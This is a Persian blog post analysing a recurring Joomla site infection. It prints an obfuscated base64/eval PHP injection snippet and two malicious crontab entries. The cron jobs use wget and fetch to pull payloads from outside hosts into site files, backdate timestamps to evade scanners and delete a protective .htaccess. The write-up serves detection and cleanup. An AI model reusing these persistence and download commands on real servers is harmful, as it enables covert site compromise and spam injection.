امروزه دیگر کدهای مخرب پاسخگوی اهداف تولید کنندهگانشان نیستند، چون به سادگی شناسایی و حذف میگردند. کلید موفقیت مهاجمان برای ایجاد بدافزار سودآور؛ در پشتکار و تکرار عملیات تا زمان موفقیت نهفته است. به همین دلیل ما شاهد افزایش نرمافزارهای خلاقانه بر مبنای تکنیکهای Backdoor هستیم. بدافزارهایی که در آنها از روشهای منحصر به فرد و متدهای مبهم برای افزایش طول عمر حملات استفاده میگردد.
در ادامه برای معرفی بهتر Backdoor سناریویی که امروز با آن مواجه شدم را شرح خواهم داد:
یک نمونه ربات تزریق SPAM میتواند تکه کد ساده ولی حرفهای زیر را به یکی از فایلهای معتبر جوملا اضافه نماید.
$stg="ba"."se"."64_d"."ecode";eval ($stg("JHNlcnZlcl91c2VyX2FnZW50ICAgID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KJHNlcnZlcl9yZWZlcmVyICAgICAgID0gQCRfU0VSVkVSWydIVFRQXJFRkVSRVInXTsNCiRzZXJ2ZXJfZm9yd2FyZGVkX2ZvciA9IEAkX1N....
قطعه کد بالا ترفند جدیدی نیست، از این دسته حملات در نسخههای قدیمی سایتساز جوملا بسیار دیده شدهاست و هزاران مطلب در رابطه با آن بر بستر اینترنت وجود دارد. اما این رباتها در اکثر مواقع تنها نیستند و یک همدست برای رسیدن به قصد نهایی خود دارند؛ همدستی مانند یک پوستهی قدیمی PHP که دسترسی دائمی سرور را به مهاجم خواهد داد. این مطلب نیز جدید نیست.
Crontab Backdoor:
پیدا کردن و حذف قطعه کد مخرب فوق بسیار آسان بود، اما سایت در کمتر از ۱۰ دقیقه مجددا آلوده شد!!!
با توجه به اینکه، سایت مثال ما از نسخهی قدیمی جوملا استفاده میکند، و مدیر سایت قادر به رفع نقصها یا ارتقاع نسخهی آن نمیباشد، میتوان تا زمان رفع حفرهی امنیتی سایت، برای معصون نگه داشتن از آسیبها آنرا به یک Zone از نوع Proxy خاص منقل کرد. Proxy با دیدن موارد مشکوکی مانند injector (تزریق)، آنرا فیلتر میکند.
مدیر سایت، کد مخرب را حذف، سایت را به Zone منتقل میکند، همچنین او کلیه رمزهای عبور خود را تغییر میدهد. میداند که کنترل مشکل آلودگی سایت را در دست دارد؛ اما چند دقیقه بعد آلودگی مجدد به همان شکل رخ میدهد، همان قطعه کد، به همان فایل مجددا آلوده میشود. Logهای موجود در Proxy بررسی میگردد اما Logها هیچ رکورد اطلاعاتی مبنی بر حمله خارجی را نشان نمیدهد! چه گونه این حمله مجددا رخ دادهاست؟
برای پیبردن به عملکرد این آسیب، شروع به مانیتورینگ و ردیابی آن میکنیم.
چقدر بین هر حمله مجدد فاصله زمانی وجود دارد؟ چه فایل(هایی) در تغییر میکند؟ و آیا hidden Backdoor وجود دارد که ما متوجه آن نشدهایم؟
در راه رسیدن به پاسخ سوالات قبل، احتمال بررسی cronها شکل میگیرد که ما را به سمت Backdoor زیرهدایت کرد.
*/3 * * * * chmod 0755 /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php; wget http:// www.xxx .com/wdc.txt -O /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php >/dev/null;
* */6 * * * wget http:// www.xxx .com/PDF/rbkvgqdyle.txt -O /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null; fetch -o /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php http:// www.hestonsflorist .com/PDF/rbkvgqdyle.txt >/dev/null 2>&1; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/index.html >/dev/null; chmod 0755 /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; rm /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/.; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null
روش کار Cronهای فوق:
زمان تکرار Job اول، هر ۳ دقیقه، و وظیفهی آن تزریق SPAM بهصورت نصب شده است.
این Job در هر بار اجرای خود ابتدا مجوز دسترسی به فایل compat.php را بهصورت 755 تنظیم میکند؛ سپس یک فایل آلوده را دانلود و جایگزین فایل اصلی میکند.
زمان تکرار Job دوم، هر ۶ ساعت، و وظیفهی آن دریافت و نصب Backdoor.
Job دوم با استفاده از wget و fetch هر ۶ ساعت Backdoor را دریافت و نصب می کند، تاریخ ایجاد پوشه مورد نظر را جهت پنهان ماندن از دید اسکنرهای وابسته به تاریخ ایجاد، تغییر میدهد، و فایل htaccess که مانع از دسترسی به فایلهای PHP است، را حذف میکند.
با توجه به اینکه، این قبیل حملات در وبسایتهای مبتنی بر WordPress نیز دیده شدهاست، میتوان نتیجه گرفت سایت مورد بحث ما، تنها سایتی نیست که تا کنون به وسیلهی Cron Backdoor آلوده شدهاست، و Joomla نیز تنها هدف اینگونه حملات. با قطعیت میتوان گفت در صورتی که آلودگی شناسایی شده، پس از حذف مجدد در بازههای زمانی مشخص بروز کرد، حتما یک Cron Backdoor در حال اجراست.